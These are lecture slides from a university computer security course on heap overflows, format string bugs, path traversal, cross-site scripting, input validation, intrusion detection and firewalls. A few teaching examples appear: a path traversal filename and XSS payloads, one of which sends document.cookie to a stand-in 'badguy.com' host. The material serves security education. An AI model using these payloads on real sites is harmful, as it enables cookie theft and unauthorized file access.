CMSC 414 Computer and Network Security Lecture 25 Jonathan Katz

advertisement
CMSC 414
Computer and Network Security
Lecture 25
Jonathan Katz
Heap overflows
 The heap is dynamically-allocated memory
– E.g., created using malloc
 Cannot overwrite the return address (as on the
stack), but can still cause havoc, e.g.:
static char buf[16], *filename;
filename = “file.txt”;
…
f = fopen(filename, “w+r”);
 Overflowing buf could change the address to which
filename points
Heap overflows
 Can also exploit heap overflows to affect function
pointers
– Again, possibly change the address to which the
function pointer points
– Can potentially cause execution of arbitrary code!
Format string vulnerabilities
 What is the difference between
printf(buf);
and
printf(“%s”, buf);
?
 What if buf holds %x ?
 Look at memory, and what printf expects…
What happens?
 printf(“%x”) expects an additional argument…
“%x”
ebp
ret
addr
buf
Frame of the
calling function
args
Will print the value
sitting here
 What if we could write that value instead?
– See “Blended attacks…”
Other input validation bugs
 Say a program reads from a user-specified file
 Program running in directory /secure, but only
allows access to files in /secure/pub
– Checks that the filename supplied by the user begins
with /pub
 What if the user supplies the filename
“/pub/../top_secret” ?
XSS attacks
 Another input validation flaw
 Say we have a script that echos a user’s name:
GET /welcome.cgi?name=Joe HTTP/1.0
 Response is:
<html><title> Welcome! </title>
Hi Joe </html>
 What if the user supplies the following “name”:
<script>alert(document.cookie)</script>
XSS attacks
 If an attacker can cause an honest user to click on
a specially-crafted URL, the user’s cookies can be
sent to the attacker
http://victim.com/welcome.cgi ? name =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>
 How would an attacker do this?
– Phishing
– Link from their webpage
– Link to a fake movie, picture, etc.
XSS attacks
 XSS attacks are a potential problem any time user-
submitted content is used to generate html
 Need to perform extensive validation of user-
supplied data
 Simple fixes (like rejecting strings that contain
“<script>”) can be circumvented
 Preventing XSS attacks in general is very hard
(impossible(?) if certain functionality is desired)
Defenses (briefly!)
 Secure programming techniques
 Penetration testing
 Static analysis
 Dynamic analysis
 Prevention techniques
Secure programming techniques
 Validate all input
 Avoid buffer overflows (off-by-one, unsafe string
manipulation functions, …)
 Intelligent help/error messages
Validating input
 Determine acceptable input, check for match ---
don’t just check against list of “non-matches”
– Limit maximum length
– Watch out for special characters, escape chars.
 Check bounds on integer values
– Check for negative inputs
Validating input
 Filenames
– Disallow *, .., etc.
 Html, URLs, cookies
– cf. cross-site scripting attacks
 Command-line arguments
– Even argv[0]…
 Don’t use printf(userInput)
– Use printf(“%s”, userInput) instead…
Avoiding buffer overflows
 Use arrays instead of pointers
 Avoid strcpy(), strcat(), etc.
– Use strncpy(), strncat(), instead
– Even these are not perfect… (e.g., no null termination)
 Make buffers (slightly) longer than necessary to
avoid “off-by-one” errors
Error messages
 Minimize feedback
– Don’t (over)explain failures to untrusted users
– Don’t release version numbers…
– Don’t offer “too much” help (suggested filenames, etc.)
Static/dynamic analysis
 Static analysis: run on the source code prior to
deployment, can check for known flaws
– E.g., flawfinder, cqual
 Dynamic analysis: try to catch (potential) buffer
overflows during program execution
 Comparison?
– Static analysis very useful, but not perfect
– Dynamic analysis can be better (in tandem with static
analysis), but can slow down execution
Dynamic analysis: Libsafe
 Intercepts all calls to, e.g., strcpy (dest, src)
– Validates sufficient space in current stack frame:
|frame-pointer – dest| > strlen(src)
– If so, executes strcpy; otherwise, terminates application
Preventing buffer overflows
 Basic stack exploit can be prevented by marking
stack segment as non-executable, or randomizing
stack location
 Problems:
– Does not defend against `return-to-libc’ exploit
• Overflow sets ret-addr to address of libc function
– Some apps need executable stack (e.g. LISP
interpreters)
– Does not block more general exploits, like heap
overflow
StackGuard
 Embed random “canaries” in stack frames and
verify their integrity prior to function return
 This is actually used!
– Helpful, but not foolproof…
Frame 2
local
canary
sfp ret str
Frame 1
local
canary
sfp ret str
More methods …
 Address obfuscation
– Encrypt return address on stack by XORing with
random string. Decrypt just before returning from
function
– Attacker needs decryption key to set return address to
desired value
Intrusion detection
Prevention vs. detection
 Firewalls (and other security mechanisms) aim to
prevent intrusion
 IDS aims to detect intrusion in case it occurs
 Use both in tandem!
– Defense in depth
– Full prevention impossible
– The sooner intrusion is detected, the less the damage
– IDS can also be a deterrent, and can be use to detect
weaknesses in other security mechanisms
IDS overview
 Goals of IDS
– Detection and response
– Deterrence
– Recovery
– Defense against future attacks
 Two classes of behavior to be detected
– Illegal access by outsiders
– Illegal access by insiders
IDS tradeoff
 IDS based on the assumption that attacker
behavior is (sufficiently) different from legitimate
user behavior
 In reality, there will be overlap
– Some legitimate behavior may appear malicious
– Intruder can attempt to disguise their behavior as that of
an honest user
False positives/negatives
 False positive
– Alarm triggered by acceptable behavior
 False negative
– No alarm triggered by illegal behavior
 Always a tradeoff between the two…
– Note: credit card companies face the same tradeoff
Probability
density
function
Profile of Intruder
behavior
Profile of
authorized user
behavior
Overlap in observed or
expected behavior
Average
behaviour of
intruder
Average
behaviour of
authorized user
Measurable
behaviour
parameter
False alarms?
 Say we have an IDS that is 99% accurate
– I.e., Pr[alarm | attack] = 0.99 and
Pr[no alarm | no attack] = 0.99
 An alarm goes off -- what is the probability that an
attack is taking place?
 To increase this probability, what should we focus
on improving??
False alarms
 Say the probability of an attack is 1/1000
 Use Bayes’ law:
Pr[attack | alarm]
= Pr[alarm | attack] Pr[attack] / Pr[alarm]
= 0.99 * 0.001 / (0.99 * 0.001 + 0.01 * 0.999)
≈ 0.1
 I.e., when an alarm goes off, 90% of the time it
will be a false alarm!
 How best to lower this number?
Host-based IDS
 Monitors events on a single host
 Can detect both internal and external intrusions
 Two general approaches
– Anomaly detection
– Signature (rule-based) detection
Anomaly detection
 Monitor behavior and compare to some “baseline”
behavior using statistical tests
– Look for deviations from “normal behavior”
 “Normal behavior” can be defined on a global
level or a per-user level
 “Normal behavior” can be specified by a human,
or learned automatically over time
Anomaly detection
 Threshold detection
– Looking at frequency of occurrence of various events,
within a specific period of time
– Even if attacker can thwart this, it will slow the attack
 Profile-based (statistical anomaly detection)
– Look at changes from a user-specific “baseline”
– Baseline behavior can be derived from audit records
– Can look at outliers from the mean, or more
complicated (multivariate) data; in either case, need to
define some appropriate metric for when unusual
behavior is detected
Metric
Model
Type of Intrusion
Detected
Login frequency by date Mean and standard
and time
deviation
Intruders are more likely
to login during off-hours
Frequency of login at
different locations
Mean and standard
deviation
Intruders may login from
a location that a legitimate
user does not
Time since last login
Markov (time series)
Break-in to unused
account
Length of session
Mean and standard
deviation
Masquerader may run a
much shorter or longer
session
Large amount of data
copied to some location
Mean and standard
deviation
Detect attempt to copy
large amounts of sensitive
data
Password failures at
login
Unusual event/
operational
Detect attempt to guess
passwords
Signature (rule-based) detection
 Define a set of “bad patterns” (e.g., known
exploits or known bad events)
 Detect these patterns if they occur
 Anomaly detection ≈ looks for atypical behavior
 Signature detection ≈ looks for improper behavior
Example rules
 Users should not read files in other users’ personal
directories
 Users must not write to other users’ files
 Users who log in after hours often use the same files they
used earlier
 Users do not generally open disk devices directly, but rely
on higher-level OS utilities
 Users should not be logged in more than once to the same
system
 Users do not make copies of system programs
Distributed host-based IDS
 Combine information collected at many different
hosts in the network
 One or more machines in the network will collect
and analyze the network data
– Audit records needs to be sent over the network
– Confidentiality and integrity of the data must be
preserved
– Centralized architecture: single point of data
collection/analysis
– Decentralized architecture: More than one analysis
center – more robust, but must be coordinated
Network-based IDS
 Monitors traffic at selected points on the network
– Real time; packet-by-packet
 Host-based IDS – looks at user behavior, activity
on host, local view
 Network-based IDS – looks at network traffic,
global view
Sensor types
 Inline sensor
– Inserted in network path; all traffic passes through the
sensor
 Passive sensor
– Monitors a copy of network traffic
 Passive sensor more efficient; inline sensor can
block attacks immediately
Sensor placement
 Inside firewall?
– Can detect attacks that penetrate firewall
– Can detect firewall misconfiguration
– Can examine outgoing traffic more easily to detect
insider attacks
– Can configure based on network resources being
accessed (e.g., configure differently for traffic directed
to web server)
 Outside firewall?
– Can document attacks (types/locations/number) even if
prevented by firewall (can then be handled out-of-band)
Honeypots
 Decoy systems to lure potential attackers
– Divert attackers from critical systems
– Collect information about attacker’s activity
– Delay attacker long enough to respond
 Since honeypot is not legitimate, any access to the
honeypot is suspicious
 Can have honeypot computers, or even honeypot
networks
Honeypot placement
 Outside firewall
– Can detect attempted connections to unused IP
addresses, port scanning
– No risk of compromised system behind firewall
– Does not divert internal attackers
 Fully internal honeypot
– Catches internal attacks
– Can detect firewall misconfigurations/vulnerabilities
– If compromised, run the risk of a compromised system
Firewalls
Firewalls: overview
 Provide central “choke point” for all traffic
entering and exiting the system
 Main goals
– Service control – what services can be accessed
(inbound or outbound)
– Behavior control – how services are accessed (e.g.,
spam filtering, web content filtering)
– User/machine control – controls access to services on a
per-user/machine level
Firewalls: overview
 Other goals
– Auditing (see also intrusion detection)
– Network address translation
– Can also run security functionality, e.g., IPSec, VPN
 What they cannot protect against
– Do not offer full protection against insider attacks
– Users bypassing the firewall to connect to the Internet
– Infected devices connecting to network internally
Firewalls: overview
 Positive filter
– Allow only traffic meeting certain criteria
– I.e., the default is to reject
 Negative filter
– Reject traffic meeting certain criteria
– I.e., the default is to accept
Need for firewalls?
 Why not just provision each computer with its
own firewall/IDS?
– Not cost effective
– Different OS’s make management difficult
– Patches must be propagated to all machines in the
system
– Does not protect against insider attacks that extend
beyond the local network
 Defense in depth
Packet filtering
 Apply a set of rules to each incoming/outgoing
packet
 Packet filtering may be based on any part(s) of the
traffic header(s), e.g.:
–
–
–
–
Source/destination IP address
Port numbers
Flags
Network interface (e.g., reject packet with internal IP
address if coming from the wrong interface)
Disadvantages of packet filtering
 Can be difficult to configure rules to achieve both
usability and security
– E.g., ftp uses a dynamically-assigned port number for
the data transfer
 Misconfigurations can be easily exploited
 Does not examine application-level data
 No user authentication
 Does not address inherent TCP/IP vulnerabilities
– E.g., address spoofing
Stateful firewalls
 Typical packet filtering applied on a packet-by-
packet basis
 Can also look at context
– E.g., maintain list of active TCP connections (useful
when port number are dynamically assigned)
– E.g., look at sequence numbers and detect replays
 Can also use global information (e.g., number of
packets to/from a particular IP address)
Download